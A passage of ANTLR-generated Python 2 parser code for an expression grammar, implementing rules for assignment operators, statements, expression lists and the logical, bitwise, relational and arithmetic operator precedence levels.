self.assign_op_return() retval.start = self.input.LT(1) root_0 = None set196 = None set196_tree = None try: try: # Expr.g:263:2: ( '=' | '+=' | '-=' | '*=' | '/=' | '%=' | '&=' | '^=' | '|=' ) # Expr.g: pass root_0 = self._adaptor.nil() set196 = self.input.LT(1) if self.input.LA(1) == 71 or self.input.LA(1) == 74 or self.input.LA(1) == 78 or self.input.LA(1) == 81 or self.input.LA(1) == 85 or self.input.LA(1) == 90 or self.input.LA(1) == 95 or self.input.LA(1) == 103 or self.input.LA(1) == 134: self.input.consume() if self._state.backtracking == 0: self._adaptor.addChild(root_0, self._adaptor.createWithPayload(set196)) self._state.errorRecovery = False else: if self._state.backtracking > 0: raise BacktrackingFailed mse = MismatchedSetException(None, self.input) raise mse retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "assign_op" class exec_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.exec_stmt_return, self).__init__() self.tree = None # $ANTLR start "exec_stmt" # Expr.g:265:1: exec_stmt : exec_list ';' -> ^( EXEC_STMT exec_list ) ; def exec_stmt(self, ): retval = self.exec_stmt_return() retval.start = self.input.LT(1) root_0 = None char_literal198 = None exec_list197 = None char_literal198_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_exec_list = RewriteRuleSubtreeStream(self._adaptor, "rule exec_list") try: try: # Expr.g:266:2: ( exec_list ';' -> ^( EXEC_STMT exec_list ) ) # Expr.g:266:4: exec_list ';' pass self._state.following.append(self.FOLLOW_exec_list_in_exec_stmt1678) exec_list197 = self.exec_list() self._state.following.pop() if self._state.backtracking == 0: stream_exec_list.add(exec_list197.tree) char_literal198 = self.match(self.input, 92, self.FOLLOW_92_in_exec_stmt1680) if self._state.backtracking == 0: stream_92.add(char_literal198) # AST Rewrite # elements: exec_list # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 267:3: -> ^( EXEC_STMT exec_list ) # Expr.g:267:6: ^( EXEC_STMT exec_list ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(EXEC_STMT, "EXEC_STMT") , root_1) self._adaptor.addChild(root_1, stream_exec_list.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "exec_stmt" class expr_list_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.expr_list_return, self).__init__() self.tree = None # $ANTLR start "expr_list" # Expr.g:272:1: expr_list : expr ( ',' expr )* ( ',' )? -> ^( EXPR_LIST ( expr )+ ) ; def expr_list(self, ): retval = self.expr_list_return() retval.start = self.input.LT(1) root_0 = None char_literal200 = None char_literal202 = None expr199 = None expr201 = None char_literal200_tree = None char_literal202_tree = None stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:273:2: ( expr ( ',' expr )* ( ',' )? -> ^( EXPR_LIST ( expr )+ ) ) # Expr.g:273:4: expr ( ',' expr )* ( ',' )? pass self._state.following.append(self.FOLLOW_expr_in_expr_list1703) expr199 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr199.tree) # Expr.g:273:9: ( ',' expr )* while True: #loop42 alt42 = 2 LA42_0 = self.input.LA(1) if (LA42_0 == 82) : LA42_1 = self.input.LA(2) if (LA42_1 == BOOL or LA42_1 == FLOAT or LA42_1 == ID or LA42_1 == INT or LA42_1 == NULL or LA42_1 == STRING or LA42_1 == 68 or LA42_1 == 75 or LA42_1 == 83 or LA42_1 == 100 or LA42_1 == 121 or LA42_1 == 126 or LA42_1 == 132) : alt42 = 1 if alt42 == 1: # Expr.g:273:10: ',' expr pass char_literal200 = self.match(self.input, 82, self.FOLLOW_82_in_expr_list1706) if self._state.backtracking == 0: stream_82.add(char_literal200) self._state.following.append(self.FOLLOW_expr_in_expr_list1708) expr201 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr201.tree) else: break #loop42 # Expr.g:273:21: ( ',' )? alt43 = 2 LA43_0 = self.input.LA(1) if (LA43_0 == 82) : alt43 = 1 if alt43 == 1: # Expr.g:273:21: ',' pass char_literal202 = self.match(self.input, 82, self.FOLLOW_82_in_expr_list1712) if self._state.backtracking == 0: stream_82.add(char_literal202) # AST Rewrite # elements: expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 274:3: -> ^( EXPR_LIST ( expr )+ ) # Expr.g:274:6: ^( EXPR_LIST ( expr )+ ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(EXPR_LIST, "EXPR_LIST") , root_1) # Expr.g:274:18: ( expr )+ if not (stream_expr.hasNext()): raise RewriteEarlyExitException() while stream_expr.hasNext(): self._adaptor.addChild(root_1, stream_expr.nextTree()) stream_expr.reset() self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "expr_list" class expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.expr_return, self).__init__() self.tree = None # $ANTLR start "expr" # Expr.g:276:1: expr : logic_or_expr ; def expr(self, ): retval = self.expr_return() retval.start = self.input.LT(1) root_0 = None logic_or_expr203 = None try: try: # Expr.g:277:2: ( logic_or_expr ) # Expr.g:277:4: logic_or_expr pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_logic_or_expr_in_expr1734) logic_or_expr203 = self.logic_or_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, logic_or_expr203.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "expr" class logic_or_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.logic_or_expr_return, self).__init__() self.tree = None # $ANTLR start "logic_or_expr" # Expr.g:279:1: logic_or_expr : logic_and_expr ( '||' ^ logic_and_expr )* ; def logic_or_expr(self, ): retval = self.logic_or_expr_return() retval.start = self.input.LT(1) root_0 = None string_literal205 = None logic_and_expr204 = None logic_and_expr206 = None string_literal205_tree = None try: try: # Expr.g:280:2: ( logic_and_expr ( '||' ^ logic_and_expr )* ) # Expr.g:280:4: logic_and_expr ( '||' ^ logic_and_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_logic_and_expr_in_logic_or_expr1744) logic_and_expr204 = self.logic_and_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, logic_and_expr204.tree) # Expr.g:280:19: ( '||' ^ logic_and_expr )* while True: #loop44 alt44 = 2 LA44_0 = self.input.LA(1) if (LA44_0 == 135) : alt44 = 1 if alt44 == 1: # Expr.g:280:20: '||' ^ logic_and_expr pass string_literal205 = self.match(self.input, 135, self.FOLLOW_135_in_logic_or_expr1747) if self._state.backtracking == 0: string_literal205_tree = self._adaptor.createWithPayload(string_literal205) root_0 = self._adaptor.becomeRoot(string_literal205_tree, root_0) self._state.following.append(self.FOLLOW_logic_and_expr_in_logic_or_expr1750) logic_and_expr206 = self.logic_and_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, logic_and_expr206.tree) else: break #loop44 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "logic_or_expr" class logic_and_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.logic_and_expr_return, self).__init__() self.tree = None # $ANTLR start "logic_and_expr" # Expr.g:282:1: logic_and_expr : bitwise_or_expr ( '&&' ^ bitwise_or_expr )* ; def logic_and_expr(self, ): retval = self.logic_and_expr_return() retval.start = self.input.LT(1) root_0 = None string_literal208 = None bitwise_or_expr207 = None bitwise_or_expr209 = None string_literal208_tree = None try: try: # Expr.g:283:2: ( bitwise_or_expr ( '&&' ^ bitwise_or_expr )* ) # Expr.g:283:4: bitwise_or_expr ( '&&' ^ bitwise_or_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_bitwise_or_expr_in_logic_and_expr1762) bitwise_or_expr207 = self.bitwise_or_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, bitwise_or_expr207.tree) # Expr.g:283:20: ( '&&' ^ bitwise_or_expr )* while True: #loop45 alt45 = 2 LA45_0 = self.input.LA(1) if (LA45_0 == 72) : alt45 = 1 if alt45 == 1: # Expr.g:283:21: '&&' ^ bitwise_or_expr pass string_literal208 = self.match(self.input, 72, self.FOLLOW_72_in_logic_and_expr1765) if self._state.backtracking == 0: string_literal208_tree = self._adaptor.createWithPayload(string_literal208) root_0 = self._adaptor.becomeRoot(string_literal208_tree, root_0) self._state.following.append(self.FOLLOW_bitwise_or_expr_in_logic_and_expr1768) bitwise_or_expr209 = self.bitwise_or_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, bitwise_or_expr209.tree) else: break #loop45 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "logic_and_expr" class bitwise_or_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.bitwise_or_expr_return, self).__init__() self.tree = None # $ANTLR start "bitwise_or_expr" # Expr.g:285:1: bitwise_or_expr : bitwise_xor_expr ( '|' ^ bitwise_xor_expr )* ; def bitwise_or_expr(self, ): retval = self.bitwise_or_expr_return() retval.start = self.input.LT(1) root_0 = None char_literal211 = None bitwise_xor_expr210 = None bitwise_xor_expr212 = None char_literal211_tree = None try: try: # Expr.g:286:2: ( bitwise_xor_expr ( '|' ^ bitwise_xor_expr )* ) # Expr.g:286:4: bitwise_xor_expr ( '|' ^ bitwise_xor_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_bitwise_xor_expr_in_bitwise_or_expr1780) bitwise_xor_expr210 = self.bitwise_xor_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, bitwise_xor_expr210.tree) # Expr.g:286:21: ( '|' ^ bitwise_xor_expr )* while True: #loop46 alt46 = 2 LA46_0 = self.input.LA(1) if (LA46_0 == 133) : alt46 = 1 if alt46 == 1: # Expr.g:286:22: '|' ^ bitwise_xor_expr pass char_literal211 = self.match(self.input, 133, self.FOLLOW_133_in_bitwise_or_expr1783) if self._state.backtracking == 0: char_literal211_tree = self._adaptor.createWithPayload(char_literal211) root_0 = self._adaptor.becomeRoot(char_literal211_tree, root_0) self._state.following.append(self.FOLLOW_bitwise_xor_expr_in_bitwise_or_expr1786) bitwise_xor_expr212 = self.bitwise_xor_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, bitwise_xor_expr212.tree) else: break #loop46 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "bitwise_or_expr" class bitwise_xor_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.bitwise_xor_expr_return, self).__init__() self.tree = None # $ANTLR start "bitwise_xor_expr" # Expr.g:288:1: bitwise_xor_expr : bitwise_and_expr ( '^' ^ bitwise_and_expr )* ; def bitwise_xor_expr(self, ): retval = self.bitwise_xor_expr_return() retval.start = self.input.LT(1) root_0 = None char_literal214 = None bitwise_and_expr213 = None bitwise_and_expr215 = None char_literal214_tree = None try: try: # Expr.g:289:2: ( bitwise_and_expr ( '^' ^ bitwise_and_expr )* ) # Expr.g:289:4: bitwise_and_expr ( '^' ^ bitwise_and_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_bitwise_and_expr_in_bitwise_xor_expr1798) bitwise_and_expr213 = self.bitwise_and_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, bitwise_and_expr213.tree) # Expr.g:289:21: ( '^' ^ bitwise_and_expr )* while True: #loop47 alt47 = 2 LA47_0 = self.input.LA(1) if (LA47_0 == 102) : alt47 = 1 if alt47 == 1: # Expr.g:289:22: '^' ^ bitwise_and_expr pass char_literal214 = self.match(self.input, 102, self.FOLLOW_102_in_bitwise_xor_expr1801) if self._state.backtracking == 0: char_literal214_tree = self._adaptor.createWithPayload(char_literal214) root_0 = self._adaptor.becomeRoot(char_literal214_tree, root_0) self._state.following.append(self.FOLLOW_bitwise_and_expr_in_bitwise_xor_expr1804) bitwise_and_expr215 = self.bitwise_and_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, bitwise_and_expr215.tree) else: break #loop47 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "bitwise_xor_expr" class bitwise_and_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.bitwise_and_expr_return, self).__init__() self.tree = None # $ANTLR start "bitwise_and_expr" # Expr.g:291:1: bitwise_and_expr : relation_expr ( '&' ^ relation_expr )* ; def bitwise_and_expr(self, ): retval = self.bitwise_and_expr_return() retval.start = self.input.LT(1) root_0 = None char_literal217 = None relation_expr216 = None relation_expr218 = None char_literal217_tree = None try: try: # Expr.g:292:2: ( relation_expr ( '&' ^ relation_expr )* ) # Expr.g:292:4: relation_expr ( '&' ^ relation_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_relation_expr_in_bitwise_and_expr1816) relation_expr216 = self.relation_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, relation_expr216.tree) # Expr.g:292:18: ( '&' ^ relation_expr )* while True: #loop48 alt48 = 2 LA48_0 = self.input.LA(1) if (LA48_0 == 73) : alt48 = 1 if alt48 == 1: # Expr.g:292:19: '&' ^ relation_expr pass char_literal217 = self.match(self.input, 73, self.FOLLOW_73_in_bitwise_and_expr1819) if self._state.backtracking == 0: char_literal217_tree = self._adaptor.createWithPayload(char_literal217) root_0 = self._adaptor.becomeRoot(char_literal217_tree, root_0) self._state.following.append(self.FOLLOW_relation_expr_in_bitwise_and_expr1822) relation_expr218 = self.relation_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, relation_expr218.tree) else: break #loop48 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "bitwise_and_expr" class relation_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.relation_expr_return, self).__init__() self.tree = None # $ANTLR start "relation_expr" # Expr.g:294:1: relation_expr : add_expr ( ( '<' | '>' | '<=' | '>=' | '==' | '!=' ) ^ add_expr )? ; def relation_expr(self, ): retval = self.relation_expr_return() retval.start = self.input.LT(1) root_0 = None set220 = None add_expr219 = None add_expr221 = None set220_tree = None try: try: # Expr.g:295:2: ( add_expr ( ( '<' | '>' | '<=' | '>=' | '==' | '!=' ) ^ add_expr )? ) # Expr.g:295:4: add_expr ( ( '<' | '>' | '<=' | '>=' | '==' | '!=' ) ^ add_expr )? pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_add_expr_in_relation_expr1834) add_expr219 = self.add_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, add_expr219.tree) # Expr.g:295:13: ( ( '<' | '>' | '<=' | '>=' | '==' | '!=' ) ^ add_expr )? alt49 = 2 LA49_0 = self.input.LA(1) if (LA49_0 == 69 or (93 <= LA49_0 <= 94) or LA49_0 == 96 or (98 <= LA49_0 <= 99)) : alt49 = 1 if alt49 == 1: # Expr.g:295:14: ( '<' | '>' | '<=' | '>=' | '==' | '!=' ) ^ add_expr pass set220 = self.input.LT(1) set220 = self.input.LT(1) if self.input.LA(1) == 69 or (93 <= self.input.LA(1) <= 94) or self.input.LA(1) == 96 or (98 <= self.input.LA(1) <= 99): self.input.consume() if self._state.backtracking == 0: root_0 = self._adaptor.becomeRoot(self._adaptor.createWithPayload(set220), root_0) self._state.errorRecovery = False else: if self._state.backtracking > 0: raise BacktrackingFailed mse = MismatchedSetException(None, self.input) raise mse self._state.following.append(self.FOLLOW_add_expr_in_relation_expr1852) add_expr221 = self.add_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, add_expr221.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "relation_expr" class add_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.add_expr_return, self).__init__() self.tree = None # $ANTLR start "add_expr" # Expr.g:297:1: add_expr : mul_expr ( ( '+' | '-' ) ^ mul_expr )* ; def add_expr(self, ): retval = self.add_expr_return() retval.start = self.input.LT(1) root_0 = None set223 = None mul_expr222 = None mul_expr224 = None set223_tree = None try: try: # Expr.g:298:2: ( mul_expr ( ( '+' | '-' ) ^ mul_expr )* ) # Expr.g:298:4: mul_expr ( ( '+' | '-' ) ^ mul_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_mul_expr_in_add_expr1864) mul_expr222 = self.mul_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, mul_expr222.tree) # Expr.g:298:13: ( ( '+' | '-' ) ^ mul_expr )* while True: #loop50 alt50 = 2 LA50_0 = self.input.LA(1) if (LA50_0 == 79 or LA50_0 == 83) : alt50 = 1 if alt50 == 1: # Expr.g:298:14: ( '+' | '-' ) ^ mul_expr pass set223 = self.input.LT(1) set223 = self.input.LT(1) if self.input.LA(1) == 79 or self.input.LA(1) == 83: self.input.consume() if self._state.backtracking == 0: root_0 = self._adaptor.becomeRoot(self._adaptor.createWithPayload(set223), root_0) self._state.errorRecovery = False else: if self._state.backtracking > 0: raise BacktrackingFailed mse = MismatchedSetException(None, self.input) raise mse self._state.following.append(self.FOLLOW_mul_expr_in_add_expr1874) mul_expr224 = self.mul_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, mul_expr224.tree) else: break #loop50 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "add_expr" class mul_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.mul_expr_return, self).__init__() self.tree = None # $ANTLR start "mul_expr" # Expr.g:300:1: mul_expr : not_expr ( ( '*' | '/' | '%' ) ^ not_expr )* ; def mul_expr(self, ): retval = self.mul_expr_return() retval.start = self.input.LT(1) root_0 = None set226 = None not_expr225 = None not_expr227 = None set226_tree = None try: try: # Expr.g:301:2: ( not_expr ( ( '*' | '/' | '%' ) ^ not_expr )* ) # Expr.g:301:4: not_expr ( ( '*' | '/' | '%' ) ^ not_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_not_expr_in_mul_expr1886) not_expr225 = self.not_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, not_expr225.tree) # Expr.g:301:13: ( ( '*' | '/' | '%' ) ^ not_expr )* while True: #loop51 alt51 = 2 LA51_0 = self.input.LA(1) if (LA51_0 == 70 or LA51_0 == 77 or LA51_0 == 89) : alt51 = 1 if alt51 == 1: # Expr.g:301:14: ( '*' | '/' | '%' ) ^ not_expr pass set226 = self.input.LT(1) set226 = self.input.LT(1) if self.input.LA(1) == 70 or self.input.LA(1) == 77 or self.input.LA(1) == 89: self.input.consume() if self._state.backtracking == 0: root_0 = self._adaptor.becomeRoot(self._adaptor.createWithPayload(set226), root_0) self._state.errorRecovery = False else: if self._state.backtracking > 0: raise BacktrackingFailed mse = MismatchedSetException(None, self.input) raise mse self._state.following.append(self.FOLLOW_not_expr_in_mul_expr1898) not_expr227 = self.not_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, not_expr227.tree) else: break #loop51 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "mul_expr" class not_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.not_expr_return, self).__init__() self.tree = None # $ANTLR start "not_expr" # Expr.g:303:1: not_expr : (op= '!' )? negative_expr -> {$op != None}? ^( '!' negative_expr ) -> negative_expr ; def not_expr(self, ): retval = self.not_expr_return() retval.start = self.input.LT(1) root_0 = None op = None negative_expr228 = None op_tree = None stream_68 = RewriteRuleTokenStream(self._adaptor, "token 68") stream_negative_expr = RewriteRuleSubtreeStream(self._adaptor, "rule negative_expr") try: try: # Expr.g:304:2: ( (op= '!' )? negative_expr -> {$op != None}? ^( '!' negative_expr ) -> negative_expr ) # Expr.g:304:4: (op= '!' )? negative_expr pass # Expr.g:304:6: (op= '!' )? alt52 = 2 LA52_0 = self.input.LA(1) if (LA52_0 == 68) : alt52 = 1 if alt52 == 1: # Expr.g:304:6: op= '!' pass op = self.match(self.input, 68, self.FOLLOW_68_in_not_expr1912) if self._state.backtracking == 0: stream_68.add(op) self._state.following.append(self.FOLLOW_negative_expr_in_not_expr1915) negative_expr228 = self.negative_expr() self._state.following.pop() if self._state.backtracking == 0: stream_negative_expr.add(negative_expr228.tree) # AST Rewrite # elements: negative_expr, negative_expr, 68 # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() if op != None: # 305:3: -> {$op != None}? ^( '!' negative_expr ) # Expr.g:306:4: ^( '!' negative_expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( stream_68.nextNode() , root_1) self._adaptor.addChild(root_1, stream_negative_expr.nextTree()) self._adaptor.addChild(root_0, root_1) else: # 307:4: -> negative_expr self._adaptor.addChild(root_0, stream_negative_expr.nextTree()) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "not_expr" class negative_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.negative_expr_return, self).__init__() self.tree = None # $ANTLR start "negative_expr" # Expr.g:309:1: negative_expr : (op= '-' )? atom -> {$op != None}? ^( NEGATIVE atom ) -> atom ; def negative_expr(self, ): retval = self.negative_expr_return() retval.start = self.input.LT(1) root_0 = None op = None atom229 = None op_tree = None stream_83 = RewriteRuleTokenStream(self._adaptor, "token 83") stream_atom = RewriteRuleSubtreeStream(self._adaptor, "rule atom") try: try: # Expr.g:310:2: ( (op= '-' )? atom -> {$op != None}? ^( NEGATIVE atom ) -> atom ) # Expr.g:310:4: (op= '-' )? atom pass # Expr.g:310:4: (op= '-' )? alt53 = 2 LA53_0 = self.input.LA(1) if (LA53_0 == 83) : alt53 = 1 if alt53 == 1: # Expr.g:310:5: op= '-' pass op = self.match(self.input, 83, self.FOLLOW_83_in_negative_expr1950) if self._state.backtracking == 0: stream_83.add(op) self._state.following.append(self.FOLLOW_atom_in_negative_expr1954) atom229 = self.atom() self._state.following.pop() if self._state.backtracking == 0: stream_atom.add(atom229.tree) # AST Rewrite # elements: atom, atom # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() if op != None: # 311:3: -> {$op != None}? ^( NEGATIVE atom ) # Expr.g:312:4: ^( NEGATIVE atom ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(NEGATIVE, "NEGATIVE") , root_1) self._adaptor.addChild(root_1, stream_atom.nextTree()) self._adaptor.addChild(root_0, root_1) else: # 313:4: -> atom self._adaptor.addChild(root_0, stream_atom.nextTree()) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "negative_expr" class atom_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.atom_return, self).__init__() self.tree = None # $ANTLR start "atom" # Expr.g:316:1: atom : ( literal | member_expr | array_decl | object_decl | new_clause | sprintf | '(' expr ')' -> expr ); def atom(self, ): retval = self.atom_return() retval.start = self.input.LT(1) root_0 = None char_literal236 = None char_literal238 = None literal230 = None member_expr231 = None array_decl232 = None object_decl233 = None new_clause234 = None sprintf235 = None expr237 = None char_literal236_tree = None char_literal238_tree = None stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:317:2: ( literal | member_expr | array_decl | object_decl | new_clause | sprintf | '(' expr ')' -> expr ) alt54 = 7 LA54 = self.input.LA(1) if LA54 == BOOL or LA54 == FLOAT or LA54 == INT or LA54 == NULL or LA54 == STRING: alt54 = 1 elif LA54 == ID: alt54 = 2 elif LA54 == 100: alt54 = 3 elif LA54 == 132: alt54 = 4 elif LA54 == 121: alt54 = 5 elif LA54 == 126: alt54 = 6 elif LA54 == 75: alt54 = 7 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 54, 0, self.input) raise nvae if alt54 == 1: # Expr.g:317:4: literal pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_literal_in_atom1987) literal230 = self.literal() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, literal230.tree) elif alt54 == 2: # Expr.g:318:4: member_expr pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_member_expr_in_atom1992) member_expr231 = self.member_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, member_expr231.tree) elif alt54 == 3: # Expr.g:319:4: array_decl pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_array_decl_in_atom1997) array_decl232 = self.array_decl() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, array_decl232.tree) elif alt54 == 4: # Expr.g:320:4: object_decl pass root_0 = self._adaptor.nil() 